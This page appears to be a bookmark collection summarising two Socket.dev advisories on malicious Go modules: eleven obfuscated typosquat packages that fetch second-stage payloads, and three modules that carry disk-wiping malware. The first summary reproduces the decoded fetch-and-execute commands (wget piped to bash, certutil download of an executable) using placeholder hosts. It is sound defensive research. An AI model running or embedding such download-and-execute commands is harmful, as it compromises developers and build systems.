Found 3 bookmarks
Custom sorting
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
Socket’s Threat Research Team uncovered eleven malicious Go packages, ten of which are still live on the Go Module and eight of which are typosquats, that conceal an identical index-based string obfuscation routine. At runtime the code silently spawns a shell, pulls a second-stage payload from an interchangeable set of .icu and .tech command and control (C2) endpoints, and executes it in memory. Most of the C2 endpoints share the path /storage/de373d0df/a31546bf, and six of the ten URLs are still reachable, giving the threat actor on-demand access to any developer or CI system that imports the packages. The eight packages include the following: github.com/stripedconsu/linker github.com/agitatedleopa/stm github.com/expertsandba/opt github.com/wetteepee/hcloud-ip-floater github.com/weightycine/replika github.com/ordinarymea/tnsr_ids github.com/ordinarymea/TNSR_IDS github.com/cavernouskina/mcp-go github.com/lastnymph/gouid github.com/sinfulsky/gouid github.com/briefinitia/gouid The packages all use an exec.Command("/bin/sh","-c", %3Cobfuscated%3E) construct. The array-driven decoder rebuilds a one-liner that downloads a bash script with wget -O - %3CC2%3E | /bin/bash & on Unix systems, or (2) uses -urlcache -split -f %3CC2%3E %TEMP%\\appwinx64.exe followed by a background start on Windows. Observed second-stage ELF and PE binaries enumerate host information, read browser data, and beacon outbound, often after a first stage triggers a one-hour sleep to evade sandboxes. Because the second-stage payload delivers a bash-scripted payload for Linux systems and retrieves Windows executables via certutil.exe, both Linux build servers and Windows workstations are susceptible to compromise.
#socket.dev#EN#2025#Supply-Chain-Attack#packages#go#malicious
·socket.dev·
11 Malicious Go Packages Distribute Obfuscated Remote Payloads
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload
Socket's research uncovers three dangerous Go modules that contain obfuscated disk-wiping malware, threatening complete data loss. The Go ecosystem, valued for its simplicity, transparency, and flexibility, has exploded in popularity. With over 2 million modules available, developers rely heavily on public repositories like GitHub. However, this openness is precisely what attackers exploit. No Central Gatekeeping: Developers freely source modules directly from GitHub repositories, trusting the naming conventions implicitly. Prime Target for Typosquatting: Minimal namespace validation enables attackers to masquerade malicious modules as popular libraries. Introduction: The Silent Threat# In April 2025, we detected an attack involving three malicious Go modules which employ similar obfuscation techniques: github[.]com/truthfulpharm/prototransform github[.]com/blankloggia/go-mcp github[.]com/steelpoor/tlsproxy Despite appearing legitimate, these modules contained highly obfuscated code designed to fetch and execute remote payloads. Socket’s scanners flagged the suspicious behaviors, leading us to a deeper investigation.
#socket.dev#EN#2025#Wipeout#github#Payload#GO#research#Developers#supply-chain-attack
·socket.dev·
wget to Wipeout: Malicious Go Modules Fetch Destructive Payload